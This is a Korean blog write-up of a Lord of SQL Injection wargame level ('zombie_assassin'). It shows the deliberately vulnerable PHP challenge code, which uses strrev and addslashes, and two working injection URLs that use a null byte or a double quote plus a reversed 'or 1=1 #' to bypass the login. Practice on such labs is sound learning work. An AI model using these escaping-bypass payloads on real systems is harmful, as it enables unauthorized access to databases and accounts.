Oh! JUN
[Lord Of SQL Injection] 17번(더블쿼터, Nullbyte) 본문
[Lord Of SQL Injection] 17번(더블쿼터, Nullbyte)
Kwon Oh! JUN 2022. 2. 5. 23:50query : select id from prob_zombie_assassin where id='' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("zombie_assassin");
highlight_file(__FILE__);
?>
strrev() : 문자열을 거꾸로 출력시킨다. (apple -> elppa)
addslashes() : /슬래시 추가
* DB를 실행시키기 위해서는 쿼리를 사용하는데 이때 '(작은따음표), "(큰따음표), \(역슬래시), nullbyte를 사용해서 문자열을 구분을 한다. 그런데 이것이 문자열 사이에 들어가게 되면 뜻하지 않은 오류가 발생할 수 있다. 그래서 이것들이 문자열 사이에 들어가 있으면 \(역슬래시)로 치환을 시켜준다음에 stripslashes() 함수를 사용해서 \를 제거해주면 오류를 제거 할 수 있다.
쿼리문은 16번 문제랑 비슷한데 addslashes() 함수 때문에 \를 사용하게 되면 \\ 이렇게 되니까
https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php?id=\ |
query : select id from prob_zombie_assassin where id='\\' and pw='' |
\' and pw=만 문자열로 인식이 되고 앞에 '\는 안되니까 이 방법을 사용하는건 불가능하다.
그래서 다른 방법으로 문자열로 인식시켜야되는데 Nullbyte, 더블쿼터 방식이 있다.
★NullByte 방식
https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php
?id=%00&pw=%23%201=1%20ro
query : select id from prob_zombie_assassin where id='0\' and pw='or 1=1 #'
ZOMBIE_ASSASSIN Clear!
<?php
include "./config.php";
login_chk();
$db = dbconnect();
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("zombie_assassin");
highlight_file(__FILE__);
?>
★더블쿼터 방식
https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php
?id=%22&pw=%23%201=1%20ro
query : select id from prob_zombie_assassin where id='"\' and pw='or 1=1 #'
ZOMBIE_ASSASSIN Clear!
<?php
include "./config.php";
login_chk();
$db = dbconnect();
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("zombie_assassin");
highlight_file(__FILE__);
?>
'문제풀이 > Lord of SQL Injection' 카테고리의 다른 글
[Lord Of SQL Injection] 19번(어렵다★★★) (0) | 2022.02.08 |
---|---|
[Lord Of SQL Injection] 18번(('1')==0?) ;00% (0) | 2022.02.06 |
[Lord Of SQL Injection] 16번 문제(싱글쿼터 우회) (0) | 2022.02.05 |
[Lord Of SQL Injection] 15번 (0) | 2022.02.05 |
[Lord Of SQL Injection] 14번 (0) | 2022.02.03 |